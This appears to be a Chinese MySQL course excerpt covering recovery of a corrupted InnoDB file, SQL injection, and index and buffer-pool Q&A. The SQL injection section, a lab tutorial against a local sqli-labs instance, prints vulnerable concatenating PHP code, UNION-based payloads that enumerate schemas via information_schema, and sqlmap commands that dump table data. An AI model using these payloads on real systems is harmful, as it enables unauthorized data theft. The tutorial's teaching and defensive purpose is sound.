通常innodb_force_recovery参数设置为 1，只要能正常读取数据表即可。但如果参数设置为 1 之后还无法读取数据表，我们可以将参数逐一增加，比如 2、3 等。一般来说不需要将参数设置到 4 或以上，因为这有可能对数据文件造成永久破坏。另外当innodb_force_recovery设置为大于 0 时，相当于对 InnoDB 进行了写保护，只能进行 SELECT 读取操作，还是有限制的读取，对于 WHERE 条件以及 ORDER BY 都无法进行操作。
当我们开启了强制恢复之后，数据库的功能会受到很多限制，我们需要尽快把有问题的数据表备份出来，完成数据恢复操作。整体的恢复步骤可以按照下面的思路进行：
- 使用
innodb_force_recovery启动服务器
将innodb_force_recovery参数设置为 1，启动数据库。如果数据表不能正常读取，需要调大参数直到能读取数据为止。通常设置为 1 即可。
- 备份数据表
在备份数据之前，需要准备一个新的数据表，这里需要使用 MyISAM 存储引擎。原因很简单，InnoDB 存储引擎已经写保护了，无法将数据备份出来。然后将损坏的 InnoDB 数据表备份到新的 MyISAM 数据表中。
- 删除旧表，改名新表
数据备份完成之后，我们可以删除掉原有损坏的 InnoDB 数据表，然后将新表进行改名。
- 关闭
innodb_force_recovery，并重启数据库
innodb_force_recovery大于 1 的时候会有很多限制，我们需要将该功能关闭，然后重启数据库，并且将数据表的 MyISAM 存储引擎更新为 InnoDB 存储引擎。
InnoDB 文件的损坏与恢复实例
我们刚才说了 InnoDB 文件损坏时的人工操作过程，下面我们用一个例子来模拟下。
生成 InnoDB 数据表
为了简便，我们创建一个数据表 t1，只有 id 一个字段，类型为 int。使用命令create table t1(id int);即可。
然后创建一个存储过程帮我们生成一些数据：
BEGIN
-- 当前数据行
DECLARE i INT DEFAULT 0;
-- 最大数据行数
DECLARE max_num INT DEFAULT 100;
-- 关闭自动提交
SET autocommit=0;
REPEAT
SET i=i+1;
-- 向t1表中插入数据
INSERT INTO t1(id) VALUES(i);
UNTIL i = max_num
END REPEAT;
-- 提交事务
COMMIT;
END
然后我们运行call insert_t1()，这个存储过程帮我们插入了 100 条数据，这样我们就有了 t1.ibd 这个文件。
模拟损坏.ibd 文件
实际工作中我们可能会遇到各种各样的情况，比如.ibd 文件损坏等，如果遇到了数据文件的损坏，MySQL 是无法正常读取的。在模拟损坏.ibd 文件之前，我们需要先关闭掉 MySQL 服务，然后用编辑器打开 t1.ibd，类似下图所示：
文件是有二进制编码的，看不懂没有关系，我们只需要破坏其中的一些内容即可，比如在 t1.ibd 文件中删除了 2 行内容（文件大部分内容为 0，我们在文件中间部分找到一些非 0 的取值，然后删除其中的两行：4284 行与 4285 行，原 ibd 文件和损坏后的 ibd 文件见GitHub地址。其中 t1.ibd 为创建的原始数据文件,t1- 损坏.ibd 为损坏后的数据文件，你需要自己创建 t1 数据表，然后将 t1- 损坏.ibd 拷贝到本地，并改名为 t1.ibd）。
然后我们保存文件，这时.ibd 文件发生了损坏，如果我们没有打开innodb_force_recovery，那么数据文件无法正常读取。为了能读取到数据表中的数据，我们需要修改 MySQL 的配置文件，找到[mysqld]的位置，然后再下面增加一行innodb_force_recovery=1。
备份数据表
当我们设置innodb_force_recovery参数为 1 的时候，可以读取到数据表 t1 中的数据，但是数据不全。我们使用SELECT * FROM t1 LIMIT 10;读取当前前 10 条数据。
但是如果我们想要完整的数据，使用SELECT * FROM t1 LIMIT 100;就会发生如下错误。
这是因为读取的部分包含了已损坏的数据页，我们可以采用二分查找判断数据页损坏的位置。这里我们通过实验，可以得出只有最后一个记录行收到了损坏，而前 99 条记录都可以正确读出（具体实验过程省略）。
这样我们就能判断出来有效的数据行的位置，从而将它们备份出来。首先我们创建一个相同的表结构 t2，存储引擎设置为 MyISAM。我刚才讲过这里使用 MyISAM 存储引擎是因为在innodb_force_recovery=1的情况下，无法对 innodb 数据表进行写数据。使用命令CREATE TABLE t2(id int) ENGINE=MyISAM;。
然后我们将数据表 t1 中的前 99 行数据复制给 t2 数据表，使用：
INSERT INTO t2 SELECT * FROM t1 LIMIT 99;
我们刚才讲过在分析 t1 数据表的时候无法使用 WHERE 以及 ORDER BY 等子句，这里我们可以实验一下，如果想要查询 id<10 的数据行都有哪些，那么会发生如下错误。原因是损坏的数据页无法进行条件判断。
删除旧表，改名新表
刚才我们已经恢复了大部分的数据。虽然还有一行记录没有恢复，但是能找到绝大部分的数据也是好的。然后我们就需要把之前旧的数据表删除掉，使用DROP TABLE t1;。
更新表名，将数据表名称由 t2 改成 t1，使用RENAME TABLE t2 to t1;。
将新的数据表 t1 存储引擎改成 InnoDB，不过直接修改的话，会报如下错误：
关闭innodb_force_recovery，并重启数据库
因为上面报错，所以我们需要将 MySQL 配置文件中的innodb_force_recovery=1删除掉，然后重启数据库。最后将 t1 的存储引擎改成 InnoDB 即可，使用ALTER TABLE t1 engine = InnoDB;。
总结
我们刚才人工恢复了损坏的 ibd 文件中的数据，虽然没有 100% 找回，但是相比于束手无措来说，已经是不幸中的万幸，至少我们还可以把正确的数据页中的记录成功备份出来，尽可能恢复原有的数据表。在这个过程中相信你应该对 ibd 文件，以及 InnoDB 自身的强制恢复（Force Recovery）机制有更深的了解。
数据表损坏，以及人为的误删除都不是我们想要看到的情况，但是我们不能指望运气，或者说我们不能祈祷这些事情不会发生。在遇到这些情况的时候，应该通过机制尽量保证数据库的安全稳定运行。这个过程最主要的就是应该及时备份，并且开启二进制日志，这样当有误操作的时候就可以通过数据库备份以及 Binlog 日志来完成数据恢复。同时采用延迟备份的策略也可以尽量抵御误操作。总之，及时备份是非常有必要的措施，同时我们还需要定时验证备份文件的有效性，保证备份文件可以正常使用。
如果你遇到了数据库 ibd 文件损坏的情况，并且没有采用任何的备份策略，可以尝试使用 InnoDB 的强制恢复机制，启动 MySQL 并且将损坏的数据表转储到 MyISAM 数据表中，尽可能恢复已有的数据。总之机制比人为更靠谱，我们要为长期的运营做好充足的准备。一旦发生了误操作这种紧急情况，不要慌张，及时采取对应的措施才是最重要的。
SQL注入
我们之前已经讲解了 SQL 的使用及优化，正常的 SQL 调用可以帮我们从数据库中获取想要的数据，然而我们构建的 Web 应用是个应用程序，本身也可能存在安全漏洞，如果不加以注意，就会出现 Web 安全的隐患，比如通过非正常的方式注入 SQL。
在过去的几年中，我们也能经常看到用户信息被泄露，出现这种情况，很大程度上和 SQL 注入有关。所以了解 SQL 注入的原理以及防范还是非常有必要的。
SQL 注入的原理
SQL 注入也叫作 SQL Injection，它指的是将非法的 SQL 命令插入到 URL 或者 Web 表单中进行请求，而这些请求被服务器认为是正常的 SQL 语句从而进行执行。也就是说，如果我们想要进行 SQL 注入，可以将想要执行的 SQL 代码隐藏在输入的信息中，而机器无法识别出来这些内容是用户信息，还是 SQL 代码，在后台处理过程中，这些输入的 SQL 语句会显现出来并执行，从而导致数据泄露，甚至被更改或删除。
为什么我们可以将 SQL 语句隐藏在输入的信息中呢？这里举一个简单的例子。
比如下面的 PHP 代码将浏览器发送过来的 URL 请求，通过 GET 方式获取 ID 参数，赋值给 $id 变量，然后通过字符串拼接的方式组成了 SQL 语句。这里我们没有对传入的 ID 参数做校验，而是采用了直接拼接的方式，这样就可能产生 SQL 注入。
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
如果我们在 URL 中的?id= 后面输入’ or 1=1 --+，那么 SQL 语句就变成了下面这样：
SELECT * FROM users WHERE id='' or 1=1 -- LIMIT 0,1
其中我们输入的（+）在浏览器 URL 中相当于空格，而输入的（–）在 SQL 中表示注释语句，它会将后面的 SQL 内容都注释掉，这样整个 SQL 就相当于是从 users 表中获取全部的数据。然后我们使用 mysql_fetch_array 从结果中获取一条记录，这时即使 ID 输入不正确也没有关系，同样可以获取数据表中的第一行记录。
一个 SQL 注入的实例
通常我们希望通过 SQL 注入可以获取更多的信息，比如数据库的名称、数据表名称和字段名等。下面我们通过一个简单的 SQL 实例来操作一下。
搭建 sqli-labs 注入环境
首先我们需要搭建 sqli-labs 注入环境，在这个项目中，我们会面临 75 个 SQL 注入的挑战，你可以像游戏闯关一样对 SQL 注入的原理进行学习。
下面的步骤是关于如何在本地搭建 sqli-labs 注入环境的，成功搭建好的环境类似链接里展现的。
第一步，下载 sqli-labs。
sqli-labs 是一个开源的 SQL 注入平台，你可以从GitHub上下载它。
第二步，配置 PHP、Apache 环境（可以使用 phpStudy 工具）。
运行 sqli-labs 需要 PHP、Apache 环境，如果你之前没有安装过它们，可以直接使用 phpStudy 这个工具，它不仅集成了 PHP、Apache 和 MySQL，还可以方便地指定 PHP 的版本。在今天的项目中，我使用的是 PHP5.4.45 版本。
第三步，配置 sqli-labs 及 MySQL 参数。
首先我们需要给 sqli-labs 指定需要访问的数据库账户密码，对应sqli-labs-master\sql-connections\db-creds.inc文件，这里我们需要修改$dbpass参数，改成自己的 MySQL 的密码。
此时我们访问本地的sqli-labs项目http://localhost/sqli-labs-master/出现如下页面，需要先启动数据库，选择Setup/reset Database for labs即可。
如果此时提示数据库连接错误，可能需要我们手动修改 MySQL 的配置文件，需要调整的参数如下所示（修改 MySQL 密码验证方式为使用明文，同时设置 MySQL 默认的编码方式）：
[client]
default-character-set=utf8
[mysql]
default-character-set=utf8
[mysqld]
character-set-server = utf8
default_authentication_plugin = mysql_native_password
第一个 SQL 注入挑战
在我们成功对 sqli-labs 进行了配置，现在可以进入到第一关挑战环节。访问本地的http://localhost/sqli-labs-master/Less-1/页面，如下所示：
我们可以在 URL 后面加上 ID 参数，获取指定 ID 的信息，比如http://localhost/sqli-labs-master/Less-1/?id=1。
这些都是正常的访问请求，现在我们可以通过 1 or 1=1 来判断 ID 参数的查询类型，访问http://localhost/sqli-labs-master/Less-1/?id=1 or 1=1。
你可以看到依然可以正常访问，证明 ID 参数不是数值查询，然后我们在 1 后面增加个单引号，来查看下返回结果，访问http://localhost/sqli-labs-master/Less-1/?id=1'。
这时数据库报错，并且在页面上返回了错误信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1。
我们对这个错误进行分析，首先''1'' LIMIT 0,1'这个语句，我们去掉最外层的单引号，得到'1'' LIMIT 0,1，因为我们输入的参数是1'，继续去掉1'，得到'' LIMIT 0,1。这样我们就能判断出后台的 SQL 语句，类似于下面这样：
$sql="SELECT ... FROM ... WHERE id='$id' LIMIT 0,1";
两处省略号的地方分别代表 SELECT 语句中的字段名和数据表名称。
判断查询语句的字段数
现在我们已经对后台的 SQL 查询已经有了大致的判断，它是通过字符串拼接完成的 SQL 查询。现在我们再来判断下这个查询语句中的字段个数，通常可以在输入的查询内容后面加上 ORDER BY X，这里 X 是我们估计的字段个数。如果 X 数值大于 SELECT 查询的字段数，则会报错。根据这个原理，我们可以尝试通过不同的 X 来判断 SELECT 查询的字段个数，这里我们通过下面两个 URL 可以判断出来，SELECT 查询的字段数为 3 个：
报错：
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+
正确：
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+
获取当前数据库和用户信息
下面我们通过 SQL 注入来获取想要的信息，比如想要获取当前数据库和用户信息。
这里我们使用 UNION 操作符。在 MySQL 中，UNION 操作符前后两个 SELECT 语句的查询结构必须一致。刚才我们已经通过实验，判断出查询语句的字段个数为 3，因此在构造 UNION 后面的查询语句时也需要查询 3 个字段。这里我们可以使用：SELECT 1,database(),user()，也就是使用默认值 1 来作为第一个字段，整个 URL 为：http://localhost/sqli-labs-master/Less-1/?id=' union select 1,database(),user() --+。
页面中显示的security即为当前的数据库名称，root@localhost为当前的用户信息。
获取 MySQL 中的所有数据库名称
我们还想知道当前 MySQL 中所有的数据库名称都有哪些，数据库名称数量肯定会大于 1，因此这里我们需要使用GROUP_CONCAT函数，这个函数可以将GROUP BY产生的同一个分组中的值连接起来，并以字符串形式返回。
具体使用如下：
http://localhost/sqli-labs-master/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+
这样我们就可以把多个数据库名称拼接在一起，作为字段 3 返回给页面。
你能看到这里我使用到了 MySQL 中的information_schema数据库，这个数据库是 MySQL 自带的数据库，用来存储数据库的基本信息，比如数据库名称、数据表名称、列的数据类型和访问权限等。我们可以通过访问information_schema数据库，获得更多数据库的信息。
查询 wucai 数据库中所有数据表
在上面的实验中，我们已经得到了 MySQL 中所有的数据库名称，这里我们能看到 wucai 这个数据库。如果我们想要看 wucai 这个数据库中都有哪些数据表，可以使用：
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wucai') --+
这里我们同样将数据表名称使用 GROUP_CONCAT 函数拼接起来，作为字段 3 进行返回。
查询 heros 数据表中所有字段名称
在上面的实验中，我们从 wucai 数据库中找到了熟悉的数据表 heros，现在就来通过 information_schema 来查询下 heros 数据表都有哪些字段，使用下面的命令即可：
http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='heros') --+
这里会将字段使用 GROUP_CONCAT 函数进行拼接，并将结果作为字段 3 进行返回，返回的结果如下所示：
attack_growth,attack_max,attack_range,attack_speed_max,attack_start,birthdate,defense_growth,defense_max,defense_start,hp_5s_growth,hp_5s_max,hp_5s_start,hp_growth,hp_max,hp_start,id,mp_5s_growth,mp_5s_max,mp_5s_start,mp_growth,mp_max,mp_start,name,role_assist,role_main
使用 SQLmap 工具进行 SQL 注入检测
经过上面的实验你能体会到，如果我们编写的代码存在着 SQL 注入的漏洞，后果还是很可怕的。通过访问information_schema就可以将数据库的信息暴露出来。
了解到如何完成注入 SQL 后，我们再来了解下 SQL 注入的检测工具，它可以帮我们自动化完成 SQL 注入的过程，这里我们使用的是 SQLmap 工具。
下面我们使用 SQLmap 再模拟一遍刚才人工 SQL 注入的步骤。
获取当前数据库和用户信息
我们使用sqlmap -u来指定注入测试的 URL，使用--current-db来获取当前的数据库名称，使用--current-user获取当前的用户信息，具体命令如下：
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user
然后你能看到 SQLmap 帮我们获取了相应的结果：
获取 MySQL 中的所有数据库名称
我们可以使用--dbs来获取 DBMS 中所有的数据库名称，这里我们使用--threads参数来指定 SQLmap 最大并发数，设置为 5，通常该参数不要超过 10，具体命令为下面这样：
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs
同样 SQLmap 帮我们获取了 MySQL 中存在的 8 个数据库名称：
查询 wucai 数据库中所有数据表
当我们知道 DBMS 中存在的某个数据库名称时，可以使用 -D 参数对数据库进行指定，然后使用--tables参数显示出所有的数据表名称。比如我们想要查看 wucai 数据库中都有哪些数据表，使用：
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables
查询 heros 数据表中所有字段名称
我们也可以对指定的数据表，比如 heros 表进行所有字段名称的查询，使用-D指定数据库名称，-T指定数据表名称，--columns对所有字段名称进行查询，命令如下：
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns
查询 heros 数据表中的英雄信息
当我们了解了数据表中的字段之后，就可以对指定字段进行查询，使用-C参数进行指定。比如我们想要查询 heros 数据表中的id、name和hp_max字段的取值，这里我们不采用多线程的方式，具体命令如下：
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump
完整的结果一共包括 69 个英雄信息都显示出来了，这里我只截取了部分的英雄结果。
总结
使用了 sqli-labs 注入平台作为实验数据，使用了 SQLmap 工具自动完成 SQL 注入。SQL 注入的方法还有很多，我们今天讲解的只是其中一个方式。你如果对 SQL 注入感兴趣，也可以对 sqli-labs 中其他例子进行学习，了解更多 SQL 注入的方法。
在这个过程中，最主要的是理解 SQL 注入的原理。在日常工作中，我们需要对用户提交的内容进行验证，以防止 SQL 注入。当然很多时候我们都在使用编程框架，这些框架已经极大地降低了 SQL 注入的风险，但是只要有 SQL 拼接的地方，这种风险就可能存在。
总之，代码规范性对于 Web 安全来说非常重要，尽量不要采用直接拼接的方式进行查询。同时在 Web 上线之后，还需要将生产环境中的错误提示信息关闭，以减少被 SQL 注入的风险。此外我们也可以采用第三方的工具，比如 SQLmap 来对 Web 应用进行检测，以增强 Web 安全性。
关于索引以及缓冲池的一些解惑
关于索引（B+ 树索引和 Hash 索引，以及索引原则）
什么是自适应 Hash 索引？
在回答这个问题前，让我们先回顾下 B+ 树索引和 Hash 索引：
因为 B+ 树可以使用到范围查找，同时是按照顺序的方式对数据进行存储，因此很容易对数据进行排序操作，在联合索引中也可以利用部分索引键进行查询。这些情况下，我们都没法使用 Hash 索引，因为 Hash 索引仅能满足（=）（<>）和 IN 查询，不能使用范围查询。此外，Hash 索引还有一个缺陷，数据的存储是没有顺序的，在 ORDER BY 的情况下，使用 Hash 索引还需要对数据重新排序。而对于联合索引的情况，Hash 值是将联合索引键合并后一起来计算的，无法对单独的一个键或者几个索引键进行查询。
MySQL 默认使用 B+ 树作为索引，因为 B+ 树有着 Hash 索引没有的优点，那么为什么还需要自适应 Hash 索引呢？这是因为 Hash 索引在进行数据检索的时候效率非常高，通常只需要 O(1) 的复杂度，也就是一次就可以完成数据的检索。虽然 Hash 索引的使用场景有很多限制，但是优点也很明显，所以 MySQL 提供了一个自适应 Hash 索引的功能（Adaptive Hash Index）。注意，这里的自适应指的是不需要人工来制定，系统会根据情况自动完成。
什么情况下才会使用自适应 Hash 索引呢？如果某个数据经常被访问，当满足一定条件的时候，就会将这个数据页的地址存放到 Hash 表中。这样下次查询的时候，就可以直接找到这个页面的所在位置。
需要说明的是自适应 Hash 索引只保存热数据（经常被使用到的数据），并非全表数据。因此数据量并不会很大，因此自适应 Hash 也是存放到缓冲池中，这样也进一步提升了查找效率。
InnoDB 中的自适应 Hash 相当于“索引的索引”，采用 Hash 索引存储的是 B+ 树索引中的页面的地址。如下图所示：
你能看到，采用自适应 Hash 索引目的是方便根据 SQL 的查询条件加速定位到叶子节点，特别是当 B+ 树比较深的时候，通过自适应 Hash 索引可以明显提高数据的检索效率。
我们来看下自适应 Hash 索引的原理。
自适应 Hash 采用 Hash 函数映射到一个 Hash 表中，如下图所示，查找字典类型的数据非常方便。
Hash 表是数组 + 链表的形式。通过 Hash 函数可以计算索引键值所对应的 bucket（桶）的位置，如果产生 Hash 冲突，就需要遍历链表来解决。
我们可以通过innodb_adaptive_hash_index变量来查看是否开启了自适应 Hash，比如：
mysql> show variables like '%adaptive_hash_index';
我来总结一下，InnoDB 本身不支持 Hash 索引，但是提供自适应 Hash 索引，不需要用户来操作，存储引擎会自动完成。自适应 Hash 是 InnoDB 三大关键特性之一，另外两个分别是插入缓冲和二次写。
什么是联合索引的最左原则？
关于联合索引的最左原则，讲一个非常形象的解释：
假设我们有 x、y、z 三个字段，创建联合索引（x, y, z）之后，我们可以把 x、y、z 分别类比成“百分位”、“十分位”和“个位”。
查询“x=9 AND y=8 AND z=7”的过程，就是在一个由小到大排列的数值序列中寻找“987”，可以很快找到。
查询“y=8 AND z=7”，就用不上索引了，因为可能存在 187、287、387、487………这样就必须扫描所有数值。
在这个基础上再补充说明一下。
查询“z=7 AND y=8 AND x=9”的时候，如果三个字段 x、y、z 在条件查询的时候是乱序的，但采用的是等值查询（=）或者是 IN 查询，那么 MySQL 的优化器可以自动帮我们调整为可以使用联合索引的形式。
当我们查询“x=9 AND y>8 AND z=7”的时候，如果建立了 (x,y,z) 顺序的索引，这时候 z 是用不上索引的。这是因为 MySQL 在匹配联合索引最左前缀的时候，如果遇到了范围查询，比如（<）（>）和 between 等，就会停止匹配。索引列最多作用于一个范围列，对于后面的 Z 来说，就没法使用到索引了。
通过这个我们也可以知道，联合索引的最左前缀匹配原则针对的是创建的联合索引中的顺序，如果创建了联合索引（x,y,z），那么这个索引的使用顺序就很重要了。如果在条件语句中只有 y 和 z，那么就用不上联合索引。
此外，SQL 条件语句中的字段顺序并不重要，因为在逻辑查询优化阶段会自动进行查询重写。
最后你需要记住，如果我们遇到了范围条件查询，比如（<）（<=）（>）（>=）和 between 等，那么范围列后的列就无法使用到索引了。
Hash 索引与 B+ 树索引是在建索引的时候手动指定的吗？
如果使用的是 MySQL 的话，我们需要了解 MySQL 的存储引擎都支持哪些索引结构，如下图所示（参考来源 https://dev.mysql.com/doc/refman/8.0/en/create-index.html）。如果是其他的 DBMS，可以参考相关的 DBMS 文档。
你能看到，针对 InnoDB 和 MyISAM 存储引擎，都会默认采用 B+ 树索引，无法使用 Hash 索引。InnoDB 提供的自适应 Hash 是不需要手动指定的。如果是 Memory/Heap 和 NDB 存储引擎，是可以进行选择 Hash 索引的。
关于缓冲池
缓冲池和查询缓存是一个东西吗？
首先我们需要了解在 InnoDB 存储引擎中，缓冲池都包括了哪些。
在 InnoDB 存储引擎中有一部分数据会放到内存中，缓冲池则占了这部分内存的大部分，它用来存储各种数据的缓存，如下图所示：
从图中，你能看到 InnoDB 缓冲池包括了数据页、索引页、插入缓冲、锁信息、自适应 Hash 和数据字典信息等。
InnoDB 存储引擎基于磁盘文件存储，访问物理硬盘和在内存中进行访问，速度相差很大，为了尽可能弥补这两者之间 I/O 效率的差值，我们就需要把经常使用的数据加载到缓冲池中，避免每次访问都进行磁盘 I/O。
“频次 * 位置”这个原则，可以帮我们对 I/O 访问效率进行优化。
首先，位置决定效率，提供缓冲池就是为了在内存中可以直接访问数据。
其次，频次决定优先级顺序。因为缓冲池的大小是有限的，比如磁盘有 200G，但是内存只有 16G，缓冲池大小只有 1G，就无法将所有数据都加载到缓冲池里，这时就涉及到优先级顺序，会优先对使用频次高的热数据进行加载。
了解了缓冲池的作用之后，我们还需要了解缓冲池的另一个特性：预读。
缓冲池的作用就是提升 I/O 效率，而我们进行读取数据的时候存在一个“局部性原理”，也就是说我们使用了一些数据，大概率还会使用它周围的一些数据，因此采用“预读”的机制提前加载，可以减少未来可能的磁盘 I/O 操作。
那么什么是查询缓存呢？
查询缓存是提前把查询结果缓存起来，这样下次不需要执行就可以直接拿到结果。需要说明的是，在 MySQL 中的查询缓存，不是缓存查询计划，而是查询对应的结果。这就意味着查询匹配的鲁棒性大大降低，只有相同的查询操作才会命中查询缓存。因此 MySQL 的查询缓存命中率不高，在 MySQL8.0 版本中已经弃用了查询缓存功能。
查看是否使用了查询缓存，使用命令：
show variables like '%query_cache%';
缓冲池并不等于查询缓存，它们的共同点都是通过缓存的机制来提升效率。
但缓冲池服务于数据库整体的 I/O 操作，而查询缓存服务于 SQL 查询和查询结果集的，因为命中条件苛刻，而且只要数据表发生变化，查询缓存就会失效，因此命中率低。
其他
很多人对 InnoDB 和 MyISAM 的取舍存在疑问，到底选择哪个比较好呢？
我们需要先了解 InnoDB 和 MyISAM 各自的特点。
InnoDB 支持事务和行级锁，是 MySQL 默认的存储引擎；MyISAM 只支持表级锁，不支持事务，更适合读取数据库的情况。
如果是小型的应用，需要大量的 SELECT 查询，可以考虑 MyISAM；如果是事务处理应用，需要选择 InnoDB。
这两种引擎各有特点，当然你也可以在 MySQL 中，针对不同的数据表，可以选择不同的存储引擎。
文章中的“product_comment”表结构和数据，网盘里下载，提取码为 32ep。
